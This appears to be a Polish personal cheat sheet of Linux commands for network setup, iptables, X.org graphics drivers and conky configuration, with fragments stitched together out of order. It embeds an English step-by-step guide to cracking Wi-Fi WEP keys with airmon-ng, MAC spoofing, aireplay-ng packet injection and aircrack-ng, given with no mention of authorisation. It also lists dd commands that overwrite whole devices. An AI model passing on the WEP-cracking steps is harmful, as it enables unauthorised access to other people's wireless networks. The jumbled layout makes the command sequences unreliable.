siec - (nie) tylko Linux

Transkrypt

siec - (nie) tylko Linux
siec
cat /etc/network/interfaces
sudo /etc/init.d/networking restart
auto lo
iface lo inet loopback
sudo airmon-ng
cat /etc/dhcp3/dhclient.conf
lshw -c Network
for x in $(seq 1 5); do sleep 1 && dig onet.pl | egrep -i '(server:|
msec)'; done;
lspci -k | egrep -i 'network|ethernet|wireles' -A2
lshw -c network
sudo iptables -L -n
iptables -P INPUT DROP
iptables -A INPUT -p tcp -i ethX --dport NR_PORTU -j ACCEPT
sudo iptables -A INPUT -p tcp -i eth0 --dport 67 -j DROP
ifconfig eth0 down && ifconfig eth0 up
gedit /etc/modprobe.d/blacklist
ifconfig wifi0 down
sudo gedit /etc/network/interfaces
auto eth0
iface eth0 inet dhcp
apt-cache search
sudo gedit /etc/init.d/firewall
sudo nano /etc/network/interfaces
sudo /etc/init.d/networking restart
netstat -ntlp,netstat -anp
nmap -PN 22.222.222.222
ifconfig
cat /etc/network/interfaces
cat /etc/resolv.conf
sudo gedit /etc/network/interfaces
sudo gedit /etc/resolv.conf
mac
[ -x /sbin/ifup ] || exit 0
ifconfig hw ether xx:xx:xx:xx:xx:xx
. /lib/lsb/init-functions
pre-up ifconfig eth0 hw ether 00:00:00:00:00:00
ip route show
sudo lshw -C network
sudo iwconfig
sudo apt-get install bcmwl-kernel-source.
lspci | grep net
ifconfig
iwlist scan
sudo /etc/init.d/networking restart
ping -c 4 www.wp.pl
lspci -k | egrep -i 'network|ethernet|
wireles' -A2
# The primary network interface
auto eth0
iface eth0 inet dhcp
pre-up ifconfig eth0 hw ether 00:00:00:00:00:00
#iface eth0 inet static
#
address 192.168.0.2
#
netmask 255.255.255.0
#
network 192.168.0.0
#
broadcast 192.168.0.255
#
gateway 192.168.0.1
#auto eth1
#iface eth1 inet static
#address 192.168.0.1
#netmask 255.255.255.0
cat /etc/resolv.conf
nameserver 188.0.2.2
nameserver 188.0.2.22
domain
search
#nameserver 194.204.152.34
#nameserver 194.204.159.1
GoogleDNS:
8.8.8.8
8.8.4.4
open dns
208.67.222.222
208.67.220.220
dns3.onet.pl. [213.180.147.200]
dns2.onet.pl. [212.244.48.17]
auto eth0
iface eth0 inet static
address 192.168.0.20
netmask 255.255.255.0
gateway 192.168.0.1
sudo gedit /etc/resolv.conf
nameserver 158.75.1.4
nameserver 158.75.1.5
wifi-driver
http://linux-wless.passys.nl/
http://wireless.kernel.org/en/users/Drivers
iptables
lshw -c network
jnettop
sudo iptables -L -n
skrypt ubuntu
iptables -P INPUT DROP
iptables -A INPUT -p tcp -i ethX --dport
ubuntu-tweak
NR_PORTU -j ACCEPT
conky
sudo iptables -A INPUT -p tcp -i eth0 --dport 67 manual
-j DROP
1024x768
ifconfig eth0 down && ifconfig eth0 up
sudo add-apt-repository ppa:xorg-edgers/radeon
netstat -a
sudo rfkill list
sudo rfkill unblock all
grafika
sudo -s
/etc/init.d/gdm stop
apt-get remove --purge xorg-driver-fglrx
Xorg -configure
cp /twoja_nazwa/xorg.conf.new /etc/X11/xorg.conf
/etc/init.d/gdm start
1) sudo apt-get update
2) sudo apt-get upgrade
3) sudo apt-get install module-assistant
4) sudo module-assistant prepare
5) sudo module-assistant update
6) System -> Administracja -> Sterowniki (U mnie był tylko
jeden własnościowy do k. graficznej)
7) Przycisk włącz lub instaluj (nad przyciskiem zamknij)
8 ) Restart
9) Sprawdzamy czy karta zainstalowała się pomyślnie $ glxinfo |
grep render
10) I ewentualnie $ glxgears
metacity –replace
lspci -k | grep -i 'vga' -A2
cat /var/log/Xorg.0.log | grep EE
cat /var/log/Xorg.0.log | grep -E "WW|EE"
glxinfo | grep direct
glxinfo | grep OpenGL
sudo rm /etc/X11/xorg.conf
sudo apt-get remove --purge nvidia*
sudo nvidia-xconfig
sudo apt-get install --reinstall flashpluginnonfree
Ctrl Alt F1
sudo -s
/etc/init.d/gdm stop
Xorg -configure
cp /root/xorg.conf.new /etc/X11/xorg.conf
/etc/init.d/gdm start
sudo apt-get install xresprobe
sudo ddcprobe
radeonhd
Ctrl+Alt+F1
logujemy się
sudo /etc/init.d/gdm stop
sudo Xorg -configure
sudo cp ~/xorg.conf.new /etc/X11/xorg.conf
sudo /etc/init.d/gdm start
Section "Monitor"
Identifier "Configured Monitor"
Option "DPMS" "true"
HorizSync 30.0-60.0
VertRefresh 50.0-70.0
EndSection
Section "Screen"
Identifier "Default Screen"
Monitor "Configured Monitor"
Device "Configured Video Device"
DefaultDepth 24
SubSection "Display"
Depth 24
Modes "1024x768" "800x600"
EndSubSection
EndSection
Section "Device"
Identifier
EndSection
Section "Monitor"
"Configured Video Device"
rozne
sudo gedit /etc/apt/sources.list
/conky_colors$ ./conky-colors --theme=gnome-noble --lang=pl
--cpu=1 --network --hd=default --proc=5 --hd=simple --dark
--calendar=default
make install
./conky-colors --clock=modern --calendar=default -m --proc=5
--network --wlan=0 --ubuntu --theme=gnome-wine --hd=meerkat
--dark --lang=pl --cpu=1 --cputemp --hdtemp1=sda --swap
conky_colors
./conky-colors --lang=pl --cpu=1 --network --calendar --cputemp
--swap --proc=5 --bbcweather=2501 --clock=modern
--hdtemp1=sda --weatherplus --hd=default --theme=gnomehuman --nvidia --ubuntu
d if=/dev/zero of=/media/[nazwa urządzenia] #tam gdzie je
montujesz
dd if=/dev/zero of=/dev/[nazwa urządzenia] bs=32k
dd if=/dev/urandom of=/dev/[nazwa urządzenia] bs=32k
sudo dpkg -i /ścieżka/do/paczki.deb
Alt+F2
update-manager -d
conversia
ffmpeg -i /path/to/source.mkv -vcodec copy
-acodec copy /path/to/output.avi
./configure
make && make depend
sudo make install
conky
update_interval 1
total_run_times 0
net_avg_samples 1
cpu_avg_samples 1
imlib_cache_size 0
double_buffer yes
no_buffers yes
#####################
# - Text settings - #
#####################
use_xft yes
xftfont Liberation Sans:size=8
override_utf8_locale yes
text_buffer_size 2048
#############################
# - Window specifications - #
#############################
own_window_class Conky
own_window yes
own_window_type normal
own_window_transparent yes
own_window_hints
undecorated,below,sticky,skip_taskbar,skip_pager
Identifier "Configured Monitor"
Option "DPMS" "true"
HorizSync 30.0-60.0
VertRefresh 50.0-70.0
EndSection
Section "Screen"
Identifier
Monitor
Device
DefaultDepth 24
"Default Screen"
"Configured Monitor"
"Configured Video Device"
SubSection "Display"
Depth 24
Modes "1024x768" "800x600"
EndSubSection
EndSection
Section "ServerFlags"
Option "DontZap"
EndSection
alignment top_right
gap_x 25
gap_y 40
minimum_size 182 0
maximum_width 182
default_bar_size 60 8
"False"
#########################
# - Graphics settings - #
#########################
draw_shades no
sudo apt-get install hwinfo
default_color 212526
sudo hwinfo –framebuffer
color0 1E1C1A
color1 C22F2F
color2 1E1C1A
cvt 1680 1050
gtf 1280 1024 75
backtrack
TEXT
${font Liberation Sans:style=Bold:size=8}SYSTEM
$stippled_hr${font}
conky -d -c /home/twoja_nazwa/.conkyrc
sudo iwlist scan
sudo airmon-ng
How to Crack WEP Keys on Backtrack
Allright now you should be in Backtrack the desktop should be all
loaded and you should be ready to start cracking those WEP Keys.
1. First you must click on the Terminal icon in the bottom toolbar it
looks like a black TV.
2. Now you must type in airmon-ng the command will display a card
name which you will need to remember and substitute for the “eth1″.
3. Now type airmon-ng stop “eth1″.
4.Now type ifconfig “eth1″ down
5.Now type macchanger –mac 00:11:22:33:44:55 “eth1″
6.Now type airmon-ng start “eth1″
7.Now type airodump-ng “eth1″
*You need to note the Channel, The BSSID, and the ESSID to crack.*
8.Now type airodump-ng -c “whatever channel” -w
“whateverfilenameuwant” –BSSID “whateverbssid” “eth1″
*Make sure that you leave this window open so run a new Terminal.*
9.aireplay-ng -1 0 -a “bssid” -h 00:11:22:33:44:55 “eth1″
*Leave this windows open.*
10.aireplay-ng -3 -b “bssid -h 00:11:22:33:44:55 “eth1″
*Leave this window open.*
11. Now go back and wait for the Data to hit 1000 IVS than run the next
command.
*This is for a 32 bit WEP.*
./conky-colors --lang=pl --cpu=1 --network --calendar --swap
--proc=5 --bbcweather=2501 --clock=modern --hdtemp1=sda
--weatherplus --hd=default --theme=gnome-human --ubuntu
sudo apt-get install hwinfo
dmesg | tail
tail /var/log/messages
apt-cache policy xorg
subcp=enca:pl:iso8859-2
11.aircrack-ng -b “bssid” “whateverfilename”.
The key that is displayed is the WEP just remove the “:”’s and thats it if
you need any help leave me a comment below.
[youtube=http://www.youtube.com/watch?v=kDD9PjiQ2_U]

Podobne dokumenty